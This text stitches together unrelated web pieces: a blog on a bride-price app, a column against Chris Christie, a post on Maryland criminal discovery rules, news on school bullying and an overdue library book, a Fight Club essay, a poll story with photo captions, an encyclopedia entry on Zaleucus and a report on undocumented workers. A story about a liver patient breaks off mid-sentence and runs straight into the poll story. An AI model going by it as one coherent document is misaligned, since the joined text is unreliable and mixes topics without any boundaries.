Among other elements the software uses to calculate a price, items include education, perceived beauty, and former marital statuses, with Robert adding: “You are presented with physical questions such as your height, your age, your weight and your waist size. From there it will ask you some personal questions including whether have you been married before, do you have children.”
The app reveals that a twenty five year old working woman who wears size thirty two pants, is five foot four inches tall and weighs one hundred twenty one pounds, has children, considers herself beautiful, but only possesses a high school diploma can ask for a lobola of five hundred dollars and no cows. But, the same characteristics with instead a higher education, no children and not previously married would be $4,000 and five cows.
Women’s rights activist Nomalanga Dlamini had what might be considered an unusual take on the app than what might be expected in the Western World. She believes the negotiations between the families would serve better than what can be derived using the app.
I think the traditional method is the best because, honestly, the app cannot predict what kind of a person you are or what kind of a wife you would make, whether you would be an honest wife, or would you be a cheat or stubborn or what, so the traditional way is the best. We are now living in a modern world we have to embrace it. It shows now that we are not going to be cheated since there will be a scientific way of calculating these bride price.”
It is at the very least an interesting melding of technology with tradition.
By Darren Smith
Source: Deutsche Welle
The views expressed in this posting are the author’s alone and not those of the blog, the host, or other weekend bloggers. As an open forum, weekend bloggers post independently without pre-approval or review. Content and any displays or art are solely their decision and responsibility.
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FacebookWith just a month to go before New Hampshire votes, Gov. Chris Christie's opponents have begun whacking him over his dismal performance as governor.
Finally, someone noticed.
I don't think I'm the only Jersey guy who feels that the voters of New Hampshire are a pretty clueless bunch if they embrace Christie before checking with his home team.
They would find that a whopping 76 percent of New Jerseyans say that Christie cares more about himself than the state; that 69 percent say he'd make a poor president, and that 59 percent are so fed up they want him to resign today.
Put it this way: If Christie wanted to leave the state for good, he'd have no trouble finding volunteers to drive him to the airport.
During two trips to New Hampshire, and one to Iowa, I found that nearly all their voters are judging Christie solely by his performance on stage, where he excels.
Heads bob up and down as Christie claims that New Jersey's economy is robust, that the Bridgegate scandal is over, that the state's finances are rock solid, and so on. It's enough to make your head explode.
But the attack ads could pry open the door to Christie's real record. And it's been a torrent lately, with attacks coming directly or indirectly from Donald Trump, Jeb Bush, John Kasich and Marco Rubio.
Christie says the attacks are a good sign. "They're coming after me because I'm doing well," he says. "Its good to be attacked. It means I'm in the game."
Fair point. Why would they waste their money attacking a guy who has no prayer?
But that's not the end of it. Because if New Hampshire voters do take a hard look at Christie's record, he's in big trouble.
This is the time bomb that's been imbedded in this campaign from the start. Once a candidate gets traction, the scrutiny gears up. And for Christie, that could cut deep.
I was impressed with Christie during his first few years, as were most people in New Jersey. He signed a slew of bipartisan reforms that helped contain public spending at a time when that was a top priority.
And he made solid progress on education, with tenure reform and the robust growth of the best charter school chains in the state's poorest cities.
Give him that. It's not for nothing that he won re-election in a landslide.
Then everything collapsed. And we learned that while he may have the talent to be a good president, he lacks the character.
The turning point came when the party establishment begged him to run for president in 2012. He turned them down, but he was left with a bad case of White House fever.
By now, he's lost his bearings, like the mythical Icarus who flew too close to the sun.
The Bridgegate scandal was an early sign. It was all about an attempt to run up his margin of victory in New Jersey as a credential for a presidential run.
But the fever has deepened since then. Christie was absent from the state 72 percent of the days during 2015, a truly shameless total. And still, he attacks Rubio for missing Senate votes. Has he lost his mind?
If you wonder why New Jersey's transit system is such a mess, blame Christie's fever. He can't raise the gas tax because it would kill his campaign, even when the state's Chamber of Commerce sees no alternative to a tax hike of some kind. So he has proposed no solution whatsoever.
The result: Our crowded trains break down much more often, tolls and fares have skyrocketed, several crumbling bridges have been closed down, and the state's economy faces the risk of a body blow if the decrepit century-old railroad tunnel under the Hudson River fails. Keep your fingers crossed.
Christie's gotten sloppy in his second term, like the cocky star quarterback who skips practice. He slurps up luxury gifts from kings and billionaires, and makes the phony claim that they are all personal friends.
He flip-flops on meaty issues like gun control, Common Core, immigration, and Planned Parenthood. He seems paralyzed by the state's budget crisis, with the credit rating dropping a record nine times.
In New Jersey, this act has worn thin. Polls show that even Republicans here don't like him, and that he'd be crushed in a primary vote in his own state.
One hopes that New Hampshire voters will soon become curious to find out why.
More: Tom Moran columns
Tom Moran may be reached at tmoran@starledger.com or call (973) 836-4909. Follow him on Twitter @tomamoran. Find NJ.com Opinion on Facebook.Tuesday, February 10, 2015
Discovery in a criminal case is the process by which the prosecution is forced to turn over certain evidence to the defense and vice versa. "In 2008, the rules governing discovery in Maryland were revised and the scope of discovery broadened." 8 Maryland Practice: DUI Handbook § 5:7 (2014 ed.). In particular, criminal defendants in Maryland are now required to disclose much more than they were required to disclose pre-2008.
Prior to 2008, Maryland Rule 4-263(d) governed the discovery obligations of criminal defendants:
(d) Discovery by the State. Upon the request of the State, the defendant shall:
(1) As to the person of the defendant. Appear in a lineup for identification; speak for identification; be fingerprinted; pose for photographs not involving reenactment of a scene; try on articles of clothing; permit the taking of specimens of material under fingernails; permit the taking of samples of blood, hair, and other material involving no unreasonable intrusion upon the defendant's person; provide handwriting specimens; and submit to reasonable physical or mental examination;
(2) Reports of experts. Produce and permit the State to inspect and copy all written reports made in connection with the action by each expert whom the defendant expects to call as a witness at the hearing or trial, including the results of any physical or mental examination, scientific test, experiment, or comparison, and furnish the State with the substance of any such oral report and conclusion;
(3) Alibi witnesses. Upon designation by the State of the time, place, and date of the alleged occurrence, furnish the name and address of each person other than the defendant whom the defendant intends to call as a witness to show that the defendant was not present at the time, place, and date designated by the State in its request.
(4) Computer-generated evidence.Produce and permit the State to inspect and copy any computer-generated evidence as defined in Rule 2-504.3(a) that the defendant intends to use at the hearing or trial.
Now, fast forward to 2014. After a few amendments, the discovery obligations of criminal defendants are contained within Maryland Rule 4-263(e):
(e) Disclosure by defense. Without the necessity of a request, the defense shall provide to the State's Attorney:
(1) Defense witness. The name and, except when the witness declines permission, the address of each defense witness other than the defendant, together with all written statements of each such witness that relate to the subject matter of the testimony of that witness. Disclosure of the identity and statements of a person who will be called for the sole purpose of impeaching a State's witness is not required until after the State's witness has testified at trial.
(2) Reports or statements of experts. As to each defense witness the defense intends to call to testify as an expert witness:
(A) the expert's name and address, the subject matter on which the expert is expected to testify, the substance of the findings and the opinions to which the expert is expected to testify, and a summary of the grounds for each opinion;
(B) the opportunity to inspect and copy all written reports or statements made in connection with the action by the expert, including the results of any physical or mental examination, scientific test, experiment, or comparison; and
(C) the substance of any oral report and conclusion by the expert;
(3) Character witnesses.As to each defense witness the defense intends to call to testify as to the defendant's veracity or other relevant character trait, the name and, except when the witness declines permission, the address of that witness;
(4) Alibi witnesses. If the State's Attorney has designated the time, place, and date of the alleged offense, the name and, except when the witness declines permission, the address of each person other than the defendant whom the defense intends to call as a witness to show that the defendant was not present at the time, place, or date designated by the State's Attorney;
(5) Insanity defense. Notice of any intention to rely on a defense of not criminally responsible by reason of insanity, and the name and, except when the witness declines permission, the address of each defense witness other than the defendant in support of that defense; and
(6) Documents, computer-generated evidence, and other things.The opportunity to inspect, copy, and photograph any documents, computer-generated evidence as defined in Rule 2-504.3(a), recordings, photographs, or other tangible things that the defense intends to use at a hearing or at trial.
There are at least four major differences between these two rules. First, prior to 2008, the defense only had to make disclosures in response to a request by the State. Now, the defense has to make such disclosures regardless of whether such a request was made. Second, prior to 2008, the defense did not need to provide notice of an insanity defense. Now, if a defendant plans to raise an insanity defense, the defense needs to provide notice of such a defense and the witnesses who will support that defense. Third, prior to 2008, the defense only needed to provide discovery regarding alibi witnesses. Now, the defense also needs to provide discovery regarding all defense witnesses, including character witnesses. Fourth, prior to 2008, the defense did not need to disclose prior written statements by defense witnesses. Now, the defense must disclose these prior written statements if they "relate to the subject matter of the testimony of that witness."
Serial listeners might wonder what this means about the letters written by potential alibi witness Asia McClain, who was never contacted by defense counsel. Because the case covered by the podcast led to trials in 1999 and 2000 (i.e., before 2008), the defense would not have needed to disclose these letters to the State if it called McClain as an alibi witness.
-CM
https://lawprofessors.typepad.com/evidenceprof/2015/02/discovery-in-a-criminal-case-is-the-process-by-which-the-prosecution-is-forced-to-turn-over-certain-evidence-to-the-defendant.htmlPaul Johnston, CTV Toronto
Concerned parents say police are not doing enough to curb recent incidents of bullying connected to an Oshawa public school.
The incidents are connected to Waverly Public School, located in the King Street and Thornton road area.
Earlier this week, a nine-year-old boy was reportedly beaten up by two others in a fight that took place off school property.
The child’s mother says the incident, which happened shortly after 5 p.m. Tuesday, has left her devastated.
“The boys were kicking him, punching him in the head, stomping on him, (and using) homophobic slurs,” the woman, who asked only to be identified as Penny, told CTV Toronto Friday.
She said the incident left the boy in hospital for X-rays and ultrasounds. She said that while the physical evidence of the beating – some bumps and bruises – will disappear over time, she is concerned for what the lasting emotional impact may be.
“He wakes up every night with nightmares,” she said. “He screams in his sleep, he cries.”
Another parent who intervened to break up the attack described it in a social media post this week.
“Just witnessed (first hand) how hateful and cruel some people can be against others for being different,” Samantha Mikolay wrote on Facebook.
She said she came across the three boys “kicking the crap” out of the child while out walking her dog.
Other parents have expressed similar concerns with bullying incidents connected to the school.
“I am disappointed to see that the major breakdown in actions to justice in this situation so far seem to be from (Durham police),” Mandy Schenk wrote on Facebook.
The blame for the lack of action, she said, rests at the feet of police, not the school.
“The school is being diligent in ensuring the safety of children at Waverly to the best of their capabilities, and even offered to have a social worker come in to talk to our kids about what happened,” she said.
Multiple calls to police – from multiple concerned parents – to voice concerns have gone unanswered, Schenk said.
“Each time we would get passed around to voicemail the phone would disconnect before we got to leave a message,” she wrote.
“(Parents) are really hoping that this unfortunate event will start productive communication between the police, school, board and (Children’s Aid Society),” Schenk said in an email to CTV Toronto Friday.
Police would not comment on the incident when contacted by CTV Toronto Friday, but said that under Canadian law persons under the age of 12 cannot be charged because they cannot be held criminally responsible.
A representative with the Durham District School Board confirmed that they had investigated an incident that involved a student earlier this week.
The board would not comment on what, if any, actions had been taken by the school, communications representative Terri-Lee Sanford said.
“If they’re old enough to beat someone up, then they’re old enough for the punishment,” Penny said.
“It sickens me and upsets me.”The New York Public Library says it received in the mail an overdue library book — a 1926 sex manual — checked out more than 50 years ago.
"An overdue book is nothing to be ashamed of," Billy Parrott, managing librarian at the NYPL's mid-Manhattan branch, wrote in a blog post earlier this week recounting the unusual return. "Let's face it, accidents happen and sometimes books are returned past their due date. It's a small mistake that should not keep you away from the Library."
In this case, it might have had something to do with the subject matter.
The book, "Ideal Marriage: Its Physiology and Technique," by Dutch gynecologist Theodoor Hendrik van de Velde, was returned last year with an apologetic note.
"We found this book amongst my late brother-in-law's things," the note read. "Funny thing is the book didn't support his efforts with his first (and only) marriage... it failed! No wonder he hid the book! So sorry!"
The note, sent from a Scottsdale, Arizona, address, was signed by a "shocked in-law."
This classic work "concentrates on the cultivation of the technique of eroticism as an art in marriage," the description of its 1980 edition reads. "It sets the sexual relationship in the nostalgic prose of a more leisured age."
"This is not a prude’s book," Frederica Mathewes-Green wrote in the National Review. "Young couples who grab a used copy off the Internet may have even as much fun with it as their great-grandparents did."
The book's due date was Aug. 17, 1959. The library waived the fines.
"Why is society so stigmatized about returning library books late?" Parrott pondered. "Is it a fear of disapproval? The guilty feelings brought about by abusing a free resource and depriving others of those resources?"
Still, the lurid nature of the 323-page book — which he described as "a very wordy and very scientific instruction manual for sexual activity" — had Parrott curious.
"As a librarian, I instantly searched the book for marginalia, wondering if patrons of years past might have taken the liberty to highlight their favorite passages or add notes," he wrote.
But there was only one: an underlined sentence about men who "only care to relieve their own tensions and care nothing for their wives as an individual or mate."Men With Women; Women With Men: Fight Club, 15 Years Later
While I know a lot of men from my generation who love Fight Club, it was always the girls with the posters featuring Brad Pitt, half-naked and bloody. The fights throughout the film are all vaguely pornographic, too, with piles of sweaty, beautiful male bodies cheering and slamming into one another, all close up images of fist and mouth. The ubiquity of these posters among the women I went to school with always felt a little shocking to me, even though I appreciated that there was something sexy about the film.
When I learned to play Texas Hold ‘Em poker, which was incredibly popular my freshman and sophomore year of college, I was deeply intrigued by the fact that I would often be one of the only girls in the room. Even though I was welcomed to play, the world I entered always seemed to be a solidly “male” space—there would be foldout chairs and half-empty beer bottles, and cheap cigars, potato chips, dirty laundry, and dirty magazines, only partially hidden. I loved the silent, masculine energy in those games, the wide-legged posturing, the sarcastic jokes, the dares. I won a lot, mostly because the guys often took for granted that a girl wouldn’t be a very good player, but also because I was good at it. In a world where I often felt I wasn’t big enough or physically strong enough to be aggressive, poker was a psychologically aggressive sport where being quiet and unreadable didn’t make you vulnerable. It gave you tremendous edge.
When re-watching David Fincher’s Fight Club for its 15th anniversary, I thought a lot about the late ’90s and early 2000s and how little the gender landscape has changed since then. In a world where gender studies still often only relates to women’s experiences, Fight Club dares to ask questions about what maleness actually means. It doesn’t offer pat or simplistic answers to that question either. Is masculinity best represented by Tyler Durden’s [Brad Pitt] cheap fortune cookie aphorisms that often contradict, but are delivered with enough cojones to seem genuinely seductive? Does the film’s critique of consumer culture push a decidedly “men’s rights” agenda? In her essay for VICE, “15 Years Later Fight Club Still Sucks” Megan Koester makes the argument that Fight Club is an inherently sexist film, an “ode to alpha malehood.”
But Fight Club was never a fairytale. It’s a painful howl into a night that probably isn’t listening and that is more a cry of pain than a drive to hurt. When a bunch of confused, angry, and sad men bond together, first to fight one another, then to indiscriminately terrorize an entire city, we are meant to feel uncomfortable. We are also meant to feel uncomfortable by the fact that, for a little while, Tyler Durden’s diatribes did seem interesting and seductive.
In some ways, Fight Club is about having sympathy for a dying animal, and I think for some people who aren’t teenagers or young or suffering from depression or rage or deep-seated ennui, that must be hard as hell to do. After all, Tyler Durden often acts like a complete and total jerk. He is basically the poster child for young male dissatisfaction and rage. In contrast, Marla Singer [Helena Bonham Carter] is the female version of this same pervasive sense of ennui, and in true female rage fashion, her depression turns inwards. She is constantly trying to off herself. Her brand of “acting out” is more quiet and gentle than the narrator’s [Edward Norton]. She steals things and smokes and goes to places where she is obviously not wanted like the testicular cancer support group where she first meets the narrator, who hasn’t yet realized he has a multiple personality disorder.
One of the reasons I’m probably sympathetic to Fight Club is that I’ve always been intrigued by male-only spaces. Sometimes I’ve had the experience of being welcomed and included in these spaces. At other times, I have felt like an outsider, an anthropologist looking at a world I can never have complete and total access to.
Maybe it sounds like I’m exoticizing men when I say that. I’ve always hated when people try to sum up what it means to be a woman by presenting a laundry list of stereotypes. I don’t know if womanhood has made me especially kind or gentle or nurturing or maternal. Though I’ve identified as very feminine since I was a little girl, if you were to press me I’m still not sure exactly what about my nature is decidedly feminine, and how much of that is based on how I look versus who I really am. I think it’s because of this that the best explorations of gender make the audience ask a lot of questions and aren’t afraid to make the viewer or reader feel uncomfortable or unsettled. And clearly the image of masculinity presented in Fight Club is both alluring and troubling. Brad Pitt’s Tyler Durden, all hot and cocky, is everything we love and hate about machismo. And the narrator who is seduced by Tyler encompasses everything we worry about beta males, who want access to the doors that open with that kind of slick power. Who wouldn’t? Feminists can criticize machismo ’til the cows come home, but our culture still values competence over kindness, and made-up answers over genuine questions. It’s one of the reasons that Tyler’s drive to take down consumer culture is ridiculously ironic. He destroys franchises by putting up his own violent version of them. In every city where there was a McDonald’s or a Starbucks, he instates his own little sad sack fight club.
Today, male camaraderie is often depicted as violent and awful: the male party-goers who rape a teen girl, the gamers who hurl obscenities at a female player, the man who beats his wife and the men who defend him afterwards. While I think violence in “male” culture is worthy of critique, I also think this story of “maleness” in our culture is strangely one-sided and fails to consider the myriad ways that men today have embraced feminism in a way that previous generations have not.
Maybe what we need is not less Fight Club, as Koester suggests, but more varied depictions of what masculinity can and does mean in today’s world. After all, most of the men I grew up with are not reflected at all in the media images of men I’m likely to see when I watch a movie or TV show. The men of my generation may have played violent video games and listened to misogynistic songs, but I did too. Sometimes we did fail at understanding each other’s perspectives. Sometimes, we made rash judgments or got defensive or pissed off. Sometimes it still felt like we were living in different worlds, with different rules. And sometimes we really were. At times, the barriers between our experiences as men and women seemed insurmountable. The social pressures we faced were intrinsically different; the bodies we had were completely unique and sometimes unintelligible to one another. Once I asked a male friend what sex felt like for a man and he rolled his hand into a barely open fist and proceeded to move his index finger in and out of the hole.
“Like this,” he said, “Only it feels really good.”
“That’s kind of what it’s like for women, too,” I replied.
Kind of, but maybe not quite. Not only do our unique experiences of gender alienate us from understanding one another, our individual experiences of the world, and our bodies, do too. If identity politics teach us one thing, it is that we can never fully understand a person from a different group’s experience. Maybe at some fundamental level that is absolutely true—I’m never going to know what sex feels like for a man, but I’m also never going to know what exactly it feels like for other women, either. And I don’t think we need to relate completely in order to try to understand one another. I don’t think the fact that we experience the world in different ways means there is a wedge between us that can never be crossed.
In Fight Club, Tyler Durden is obsessed with annihilation, with the idea that we are not all the unique snowflakes consumer culture says we can be when we purchase some empty, meaningless products. But while the narrator spends a great deal of the film walking around clean, elegant IKEA furniture and bleeding all over everything, it’s the film’s last image that resonates strongest: when the narrator kills off Tyler and reaches for Marla’s hand instead. Their silhouettes seem small, but also hopeful, as they reach for one another, even as the world literally collapses around them.Jack Brewin desperately needs a new liver, but the 50-year-old Taber town councillor is struggling to find a donor who is the right match.
"I'm sure hoping that something will come through soon," said Brewin, who was diagnosed last year with an auto immune disease that is attacking his liver.
"I have some really good days and then |
white men, with Trump getting 42% and Clinton getting 41%. Among white women, Clinton outpaces Trump 54% to 33%."
See Clinton supporters on the campaign trail:
27 PHOTOS Hillary Clinton supporters on the campaign trail See Gallery Hillary Clinton supporters on the campaign trail Supporters John Nelson, 32, (L) and Dan Stifler, 32, cheer U.S. Democratic presidential candidate Hillary Clinton as she arrives to speak on stage at the UFCW Union Local 324 in Buena Park, California, U.S. May 25, 2016. REUTERS/Lucy Nicholson Supporters cheer on U.S. Democratic presidential candidate Hillary Clinton as she speaks during a campaign stop in Sacramento, California, United States June 5, 2016. REUTERS/Mike Blake Supporter Monica Brown pins a Hillary Clinton button to her 2008 Hillary campaign t-shirt as she prepares for the arrival of U.S. Democratic presidential candidate Hillary Clintons visit to at a small restaurant in Vallejo, California, United States June 5, 2016. REUTERS/Mike Blake ATTENTION EDITORS - EDITORIAL USE ONLY. NO RESALES. NO ARCHIVES Supporters await the arrival of U.S. Democratic presidential candidate Hillary Clinton at a campaign stop in Fresno, California, United States June 4, 2016. REUTERS/Mike Blake A Hillary supporter yells out with a picture of Donald Trump on her phone as U.S. Democratic presidential candidate Hillary Clinton speaks during a campaign stop in Fresno, California, United States June 4, 2016. REUTERS/Mike Blake TPX IMAGES OF THE DAY Supporters cheers as U.S. Democratic presidential candidate Hillary Clinton speaks during a campaign stop at a high school in Oxnard, California, United States June 4, 2016. REUTERS/Mike Blake Supporters hold a sign as U.S. Democratic presidential candidate Hillary Clinton makes a campaign stop in San Bernardino, California, United States June 3, 2016. REUTERS/Mike Blake U.S. Democratic presidential candidate Hillary Clinton takes a selfie with supporters during a campaign stop in San Bernardino, California, United States June 3, 2016. REUTERS/Mike Blake Supporters cheer on U.S. Democratic presidential candidate Hillary Clinton as she speaks at a campaign stop in San Bernardino, California, United States June 3, 2016. REUTERS/Mike Blake A young supporter cheers as she awaits the arrival of U.S. Democratic presidential candidate Hillary Clinton at a "Women for Hillary" event in Culver City, California, United States, June 3, 2016. REUTERS/Mike Blake A supporter wears a sunglasses adorned with logos of Democratic U.S. presidential candidate Hillary Clinton during a campaign event in San Francisco, California, U.S. May 26, 2016. REUTERS/Stephen Lam A supporter listens as Democratic U.S. presidential candidate Hillary Clinton speaks during a campaign event in San Francisco, California, U.S. May 26, 2016. REUTERS/Stephen Lam Supporters listen to Democratic U.S. presidential candidate Hillary Clinton speak at a campaign event in San Jose, California, U.S. May 26, 2016. REUTERS/Stephen Lam Women cheer for U.S. Democratic presidential candidate Hillary Clinton at the UFCW Union Local 324 in Buena Park, California, U.S. May 25, 2016. REUTERS/Lucy Nicholson A supporter cheers as U.S. Democratic presidential candidate Hillary Clinton speaks at the UFCW Union Local 324 in Buena Park, California, U.S. May 25, 2016. REUTERS/Lucy Nicholson Supporters listen to U.S. Democratic presidential candidate Hillary Clinton speak at the UFCW Union Local 324 in Buena Park, California, U.S. May 25, 2016. REUTERS/Lucy Nicholson A supporter cheers for U.S. Democratic presidential candidate Hillary Clinton as she speaks at the University of California Riverside in Riverside, California, U.S. May 24, 2016. REUTERS/Lucy Nicholson FOR EDITORIAL USE ONLY. NO RESALES. NO ARCHIVES. Marlena Steinbach, 9, (L) and her sister Ella Steinbach, 15, cheer the motorcade of U.S. Democratic presidential candidate Hillary Clinton outside the IBEW union hall where Clinton was due to speak in Commerce, California, U.S., May 24, 2016. REUTERS/Lucy Nicholson Artist Gretchen Baer of BisBee, Arizona, stands next to the "Hillcar", a car she painted and decorated in support of Democratic U.S. presidential candidate Hillary Clinton, as she stands on a street in the Manhattan borough of New York City, U.S. April 18, 2016. REUTERS/Mike Segar EDITORIAL USE ONLY. NO RESALES. NO ARCHIVE Six-year-old Kayla Johnson (C) her mother Andrea (L) and friend London Walters (R) react as U.S. Democratic presidential candidate Hillary Clinton enters the Garrick-Boykin Human Development Center at Morris College in Sumter, South Carolina, February 24, 2016. REUTERS/Randall Hill Supporters of Democratic presidential candidate Hillary Clinton arrive to attend a primary night event during Pennsylvania's primary election on April 26, 2016 in Philadelphia, Pennsylvania. Voters cast ballots in five northeastern states, with frontrunners Hillary Clinton and Donald Trump both looking to overwhelm their respective Democratic and Republican rivals in the race for the White House / AFP / EDUARDO MUNOZ (Photo credit should read EDUARDO MUNOZ/AFP/Getty Images) TOPSHOT - A car with the face of Democratic presidential candidate Bernie Sanders drives past a supporter of Democratic presidential candidate Hillary Clinton on Broad Street during Pennsylvania's primary election on April 26, 2016 in Philadelphia, Pennsylvania. Voters cast ballots in five northeastern states, with frontrunners Hillary Clinton and Donald Trump both looking to overwhelm their respective Democratic and Republican rivals in the race for the White House. / AFP / EDUARDO MUNOZ ALVAREZ (Photo credit should read EDUARDO MUNOZ ALVAREZ/AFP/Getty Images) Supporters of Democratic U.S. presidential candidate Hillary Clinton attend a "Women for Hillary" campaign rally in the Manhattan borough of New York City, U.S. April 18, 2016. REUTERS/Mike Segar A supporter fans herself as Democratic U.S. presidential candidate Hillary Clinton speaks at Southwest College in Los Angeles, California, United States, April 16, 2016. REUTERS/Lucy Nicholson A supporter holds up an action figure of Democratic U.S. presidential candidate Hillary Clinton before Clinton spoke at Southwest College in Los Angeles, California, United States, April 16, 2016. REUTERS/Lucy Nicholson OAKLAND, CA - MAY 06: Supporters look on as democratic presidential candidate former Secretary of State Hillary Clinton speaks during a campaign rally on May 6, 2016 in Oakland, California. Hillary Clinton is campaigning in California ahead of the State's presidential primary on June 7th. (Photo by Justin Sullivan/Getty Images) U.S. Democratic presidential candidate Hillary Clinton greets supporters after a town hall meeting at Cumberland United Methodist Church in Florence, South Carolina February 25, 2016. REUTERS/Jonathan Ernst TPX IMAGES OF THE DAY Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
Going negative: Voters with a college degree chose the controversy over Clinton's use of a private email server while at the State Department as her biggest negative, with 47% saying "they were bothered a lot" that the FBI determined she and her staff were careless with sensitive information.
Trump's greatest failing with college-educated voters was referring to women in derogatory terms such as "bimbo" and "pig." Nearly 70% of those polled said that bugged them deeply.
Clinton impressed those voters more than Trump in a test of voters' feelings on the candidates' leadership traits, including "being ready to lead the country on day one in office" and "ability to get things done in Washington."
But Trump bested Clinton in the new poll when it came to which candidate would do the most to change how Washington works and who'd be more likely to take on Wall Street.
It wasn't much of a popularity contest, either: Although educated voters preferred Clinton as Obama's successor, 53% said they actually viewed her unfavorably.
A whopping 73% said the same of Trump.
See Bill and Hillary Clinton through the years:
15 PHOTOS Bill and Hillary Clinton falling in love throwbacks See Gallery Bill and Hillary Clinton falling in love throwbacks Arkansas Governor Bill Clinton comforts Hillary Rodham Clinton on the set of the news program '60 Minutes' after a stage light unexpectedly broke loose from the ceiling and knocked her down, January 26, 1992. (Photo by CBS Photo Archive/Getty Images) NEW YORK, NY - JULY 14: Certain Democratic presidential nominee Bill Clinton (R) is applauded by his wife Hillary 14 July 1992, before his address to the Women's Caucus of the 1992 Democratic National Convention, New York. Clinton is campaigning in New York along with his running mate Sen. Al Gore. (Photo credit should read MARK PHILLIPS/AFP/Getty Images) 1993: American statesman Bill Clinton, the 42nd President of the United States, and his wife, lawyer Hillary Rodham Clinton, have a laugh together on Capitol Hill, Washington DC. (Photo by Consolidated News Pictures/Getty Images) WASHINGTON, DC - APRIL 27: First Lady Hillary Clinton (L) laughs after introducing US President Bill Clinton 27 April in the East Room of the White House in Washington, DC. The President and First Lady were attending a celebration marking the 25th anniversary of the Kennedy Center. (Photo credit should read RICHARD ELLIS/AFP/Getty Images) SAN DIEGO, : US President Bill Clinton (R) gets a hug from his wife Hillary after the presidential debate 16 October at Shiley Theater at the University of San Diego in California. This is the last debate prior to the 05 presidential election. AFP PHOTO Vince BUCCI (Photo credit should read Vince Bucci/AFP/Getty Images) WASHINGTON, : US President Bill Clinton (R) leans towards US First Lady Hillary Clinton 17 July in the East Room of the White House during a ceremony for the Friends of Art and Preservation in Embassies Program. Arkansas court watchers are expecting President Clinton to testify by videotape 17 July in the criminal trial of two former associates. (ELECTRONIC IMAGE) AFP PHOTO/Paul J. RICHARDS (Photo credit should read PAUL J. RICHARDS/AFP/Getty Images) 291964 06: (NO NEWSWEEK - NO USNEWS) President Bill Clinton and his wife Hillary dance at an inaugural ball January 20, 1997 in Washington, DC. Clinton attended various inaugural balls after his defeat of Bob Dole in the national presidential election. (Photo by Cynthia Johnson/Liaison) PHILADELPHIA, : US President Bill Clinton has his chin pinched by First Lady Hillary Clinton during kick-off ceremonies for the Presidents' Summit for America's Future at the Marcus Foster Stadium 27 April in Philadelphia, PA. The Clintons were joined by the Vice President, and former Presidents Bush, and Carter for the volunteerism campaign. AFP PHOTO PAUL J. RICHARDS (Photo credit should read PAUL J. RICHARDS/AFP/Getty Images) ST. THOMAS, UNITED STATES: US President Bill Clinton and First Lady Hillary Clinton dance on the beach of Megan Bay, St. Thomas, US Virgin Islands 04 January shortly after taking a swim. The President and his family concluded their vacation on the tropical island and are returning to Washington. (ELECTRONIC IMAGE) AFP PHOTO/PAUL J. RICHARDS (Photo credit should read PAUL J. RICHARDS/AFP/Getty Images) WASHINGTON - SEPTEMBER 10: (NO U.S. TABLOID SALES) U.S President Bill Clinton and First Lady Hillary Clinton smile at each other during a Democratic Business Leaders event September 10, 1998 in Washington D.C. (Photo by David Hume Kennerly/Getty Images) Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
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• #ConservativeBecause Quickly Backfired for Conservatives on TwitterZALEUCUS, of Locri Epizephyrii in Magna Graecia, Greek lawgiver, is supposed to have flourished about 66o B.C. The statement that he was a pupil of Pythagoras is an anachronism. Little is known of him, and Timaeus even doubted his existence, but it is now generally agreed that this is an error. He is said to have been the author of the first written code of laws amongst the Greeks. According to the common story, the Locrians consulted the Delphic oracle as to a remedy for the disorder and lawlessness that were rife amongst them. Having been ordered to make laws for themselves, they commissioned one Zaleucus, a shepherd and slave (in later tradition, a man of distinguished family) to draw up a code. The laws of Zaleucus, which he declared had been communicated to him in a dream by Athena, the patron goddess of the city, were few and simple, but so severe that, like those of Draco, they became proverbial. They remained essentially unchanged for centuries, and the Locrians subsequently enjoyed a high reputation as upholders of the law. One of the most important provisions was that the punishment for different offences was definitely fixed, instead of being left to the discretion of the judge before whom a case was tried. The penalty for adultery was the loss of the eyes, and in general the application of the lex talionis was enjoined as the punishment for personal injuries. Special enactments concerning the rights of property, the alienation of land, settlement in foreign countries, and various sumptuary laws (e.g. the drinking of pure wine, except when ordered medicinally, was forbidden) are attributed to him. After the code was firmly established, the Locrians introduced a regulation that, if a citizen interpreted a law differently from the cosmopolis (the chief magistrate), each had to appear before the council of One Thousand with a rope round his neck, and the one against whom the council decided was immediately strangled. Any one who proposed a new law or the alteration of one already existing was subjected to the same test, which continued in force till the 4th century and even later. Zaleucus is often confused with Charondas, and the same story is told of their death. It is said that one of Zaleucus's laws forbade a citizen, under penalty of death, to enter the senate-house bearing aweapon. During the stress of war, Zaleucus violated this law; and, on its being pointed out to him, he committed suicide by throwing himself upon the point of his sword, declaring that the law must be vindicated. See Bentley, Dissertation on the Epistles of Phalaris; F. D. Gerlach, Zaleukos, Charondas, Pythagoras (1858) ; G. Busolt, Griechische Geschichte, i.; Schol. on Pindar, 01. x. 17; Strabo vi. p. 259; Diod. Sic. xii. 20, 21; Demosthenes, In Timocratenz, p. 744; Stobaeus, Florilegium, xliv. 20, 21, where the supposed preface of Zaleucus and the collection of laws as a whole is spurious; Suidas, s.v., who makes him a native of Thurii; Cicero, De Legibus, ii. 6. See also article GREEK LAW. End of Article: ZALEUCUSGetty
After 20 years of rapid growth, the number of undocumented immigrants has fallen in recent years, as states crack down on these workers and some foreign economies have improved.
There were 8 million unauthorized immigrants in the U.S. working or looking for work in 2014, down from around 8.3 million during the Great Recession, virtually unchanged in five years, according to an analysis of government data released Thursday by the Pew Research Center, a nonprofit think tank based in Washington, D.C.
The share was down slightly since 2009, the year the Great Recession officially ended, but up from 5.6 million in 2000 and 3.6 million in 1995. States with the largest number of undocumented immigrants include California (1.7 million), Texas (1.1 million) and New York (600,000).
The reason is mostly due to demographic changes. The population of undocumented immigrants in the U.S. grew rapidly in the 1990s and 2000s, the number has plateaued, says Jeffrey Passel, senior demographer at Pew and one of the lead authors of the report. “The total unauthorized immigrant population hovers at 11 million and has been flat for five years,” he says. “The biggest group of unauthorized immigrants historically has been Mexicans.” The economy has improved in Mexico in recent years and over the last four decades the fertility rate in Mexico has fallen.
More states are also using E-Verify, an internet-based system that allows businesses to determine the eligibility of their employees to work in the U.S., which has led to an increase in undocumented workers in some states and a decrease in others. “Without E-Verify, all the employer has to do is collect the information,” Passel says. “With E-Verify, they have to check their social security electronically to verify that the number is the valid number.”
From 2009 to 2014, eight U.S. states — Alabama, California, Georgia, Illinois, Kansas, Nevada, South Carolina and Rhode Island — had statistically-significant declines in the number of undocumented immigrants in their workforces.
